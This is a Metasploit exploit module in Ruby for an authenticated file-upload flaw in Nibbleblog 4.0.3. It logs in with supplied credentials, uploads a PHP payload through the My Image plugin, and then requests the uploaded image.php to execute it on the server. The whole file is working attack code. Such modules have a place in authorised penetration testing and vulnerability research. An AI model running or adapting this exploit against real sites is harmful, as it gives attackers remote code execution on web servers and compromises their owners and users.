Nibbleblog File Upload

`##  
# This module requires Metasploit: http://www.metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'Nibbleblog File Upload Vulnerability',  
'Description' => %q{  
Nibbleblog contains a flaw that allows a authenticated remote  
attacker to execute arbitrary PHP code. This module was  
tested on version 4.0.3.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module  
],  
'References' =>  
[  
['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']  
],  
'DisclosureDate' => 'Sep 01 2015',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Nibbleblog 4.0.3', {}]],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),  
OptString.new('USERNAME', [true, 'The username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with'])  
], self.class)  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def check  
cookie = do_login(username, password)  
return Exploit::CheckCode::Detected unless cookie  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin.php'),  
'cookie' => cookie,  
'vars_get' => {  
'controller' => 'settings',  
'action' => 'general'  
}  
)  
  
if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')  
return Exploit::CheckCode::Appears  
end  
Exploit::CheckCode::Safe  
end  
  
def do_login(user, pass)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin.php')  
)  
  
fail_with(Failure::Unreachable, 'No response received from the target.') unless res  
  
session_cookie = res.get_cookies  
vprint_status("#{peer} - Logging in...")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin.php'),  
'cookie' => session_cookie,  
'vars_post' => {  
'username' => user,  
'password' => pass  
}  
)  
  
return session_cookie if res && res.code == 302 && res.headers['Location']  
nil  
end  
  
def exploit  
unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)  
print_error("Target does not appear to be vulnerable.")  
return  
end  
  
vprint_status("#{peer} - Authenticating using #{username}:#{password}")  
  
cookie = do_login(username, password)  
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?  
vprint_good("#{peer} - Authenticated with Nibbleblog.")  
  
vprint_status("#{peer} - Preparing payload...")  
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"  
  
data = Rex::MIME::Message.new  
data.add_part('my_image', nil, nil, 'form-data; name="plugin"')  
data.add_part('My image', nil, nil, 'form-data; name="title"')  
data.add_part('4', nil, nil, 'form-data; name="position"')  
data.add_part('', nil, nil, 'form-data; name="caption"')  
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")  
data.add_part('1', nil, nil, 'form-data; name="image_resize"')  
data.add_part('230', nil, nil, 'form-data; name="image_width"')  
data.add_part('200', nil, nil, 'form-data; name="image_height"')  
data.add_part('auto', nil, nil, 'form-data; name="image_option"')  
post_data = data.to_s  
  
vprint_status("#{peer} - Uploading payload...")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'admin.php'),  
'vars_get' => {  
'controller' => 'plugins',  
'action' => 'config',  
'plugin' => 'my_image'  
},  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'cookie' => cookie  
)  
  
if res && /Call to a member function getChild\(\) on a non\-object/ === res.body  
fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')  
elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )  
fail_with(Failure::Unknown, 'Unable to upload payload.')  
end  
  
vprint_good("#{peer} - Uploaded the payload.")  
  
php_fname = 'image.php'  
payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)  
vprint_status("#{peer} - Parsed response.")  
  
register_files_for_cleanup(php_fname)  
vprint_status("#{peer} - Executing the payload at #{payload_url}.")  
send_request_cgi(  
'uri' => payload_url,  
'method' => 'GET'  
)  
end  
end  
`